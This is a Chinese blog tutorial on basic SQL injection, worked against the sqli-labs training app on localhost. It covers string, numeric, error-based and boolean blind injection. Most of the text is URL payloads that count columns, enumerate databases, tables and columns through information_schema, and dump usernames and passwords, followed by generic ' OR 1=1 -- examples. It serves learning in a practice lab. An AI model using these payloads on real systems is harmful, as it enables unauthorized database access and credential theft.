SQL注入基础详解

目录

前言

字符型注入

数字型注入

报错注入

布尔盲注

 


前言

注入点类型分类

    数字型:
    select * from tabname where id = 1

    字符型:
    select * from tabname where id = '1’

    搜索型:
    select * from tabname where id like '%1%'

判断类型流程

    输入 1
    假设存在查询结果,但是此时无法区分注入点类型
    输入 1 and 1 = 1
    对于数字型注入点:
    select * from tabname where id= 1 and 1 = 1,会有查询结果
    对于字符型注入点:
    select * from tabname where id= ‘1 and 1 = 1’,不会有查询结果
    对于搜索型注入点:
    select * from tabname where id like ‘%1 and 1 = 1%’,不会有查询结果
    此步骤可以检测数字型注入点。
    输入 1’ and ‘1’='1
    对于字符型注入点:
    select * from tabname where id= ‘1’ and ‘1’=‘1’,会有查询结果
    对于搜索型注入点:
    select * from tabname where id like ‘%1’ and ‘1’=‘1%’,不会有查询结果
    此步骤可以检测字符型注入点。
    排除掉数字型和字符型,剩下的可能就是搜索型注入点。

字符型注入

http://127.0.0.1/sqli-labs-master/Less-1/
#正常页面

?id=1

?id=1'
#单引号报错 1 后边多了一个单引号

?id=1"
#双引号正常

界面异常说明存在注入点
?id=1'--+
#  --+  注释符号,注释掉后边的语句
?id=1 and 1=2
#没有变化 说明是单引号字符型注入

order by 语句判断数据列数
?id=1' order by4--+
#4报错说明只有三列

union select 联合查询语句
?id=100' union select 1,2,3--+
#1,2是一个、1,2,3,4是三个、都报错
所以显示位是两位。

爆破数据库库
?id=100' union select 1,2,group_concat(schema_name)from information_schema.schemata--+

查询数据库版本和名字
?id=100'union select 1,version(),database()--+

查询表名
?id=100' union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema='security')--+

查询列
?id=100' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name ='users') --+
​
查询用户
?id=100'union select 1,2,group_concat(username) from security.users--+

查询用户密码
?id=100' union select 1,2,group_concat(username,0x3a,password) from users --+

数字型注入

http://127.0.0.1/sqli-labs-master/Less-2/

?id=1

?id=1'

?id=1"

?id=1 and 1=1
#回显正确、数字型注入不需要闭合,字符型需要

?id=1 and 1=2
#报错、判断是数字型注入

?id=1 order by 4
#说明只有三列

?id=1 order by 3

#查询数据库版本
?id=100 union select 1,version(),database()
#相对于字符型 不需要闭合

#查询表名
?id=100 union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema='security')

#查询列
?id=100 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name ='users')

#查询字段内容
?id=100 union select 1,2,group_concat(username,0x3a,password) from users

报错注入

单引号

http://127.0.0.1/sqli-labs-master/Less-3/

?id=1

?id=1'
#报错里有一个括号

?id=1') order by 4 --+

?id=1') order by 3 --+

?id=100') union select 1,version(),database()--+
#查询数据库版本

双引号

?id=100") union select 1,version(),database()--+

布尔盲注

http://127.0.0.1/sqli-labs-master/Less-5/?id=1

?id=1'

?id=1' order by 4--+

?id=1' order by 3--+

?id=1' and left ((select database()),1)='s'--+
#函数left,测试数据库名第一个字母是否为s,通过返回“you are in"我们知道是正确的

?id=1' and left((select database()),1)<'t'--+
#有回显说明小于t

?id=1' and left((select database()),1)>'t'--+
#没有回显也说明小于t
#数据库第一个字符大于t无回显, 一点一点尝试,最终确定的库名为security

确定表名
?id=1' and left ((select table_name from information_schema. tables where table_schema=database() limit 0,1),6)= 'emails'--+
​
#回显正确 说明 有emails这个表
​
#其他的步骤还是一样,修改limit x,1和left中的位数限定数字,第一张表是emails,爆破到第二张表为referer,终于在第四张表爆破到user表,名为users。

?id=1' and left ((select table_name from information_schema. tables where table_schema=database() limit 1,1),7)= 'referer'--+

?id=1' and left ((select table_name from information_schema. tables where table_schema=database() limit 3,1),5)= 'users'--+

确定列
确定第二列是users第三列是password
​
?id=1' and left((select table_name from information_schema.columns where table_name='users' and table_schema=database() limit 1,1),8)='username'--+
#就很奇怪 刚开始不行 过了一会就又好了

?id=1' and left((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 2,1),8)='password'--+

?id=1' and left((select password from users order by id limit 0,1),4)='dump'--+

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
SQL注入payload是一种用于测试和利用SQL注入漏洞的代码片段。以下是一些常见的SQL注入payload的示例: 1. 基于单引号字符型注入的payload: ' OR 1=1 -- 这个payload的目的是通过在注入点处插入注释符和逻辑运算符,来绕过原始SQL查询的验证,从而返回所有记录。 2. 整型注入的payload: 1 OR 1=1 -- 这个payload是用于整型注入的,它绕过了原始SQL查询的验证,使其始终返回true,从而返回所有记录。 3. 双引号注入的payload: " OR "1"="1" -- 这个payload是用于双引号注入的,它通过插入注释符和逻辑运算符绕过了原始SQL查询的验证,从而返回所有记录。 这些payload可以根据具体情况进行修改和扩展,以适应不同的SQL注入漏洞。在实际应用中,为了防止SQL注入攻击,建议采取安全编码实践和使用参数化查询等防御措施。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [SQL注入思路详解](https://download.csdn.net/download/weixin_38550812/13687286)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* *3* [sql注入payload](https://blog.csdn.net/alex_seo/article/details/89240675)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Ch33syNai1a0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值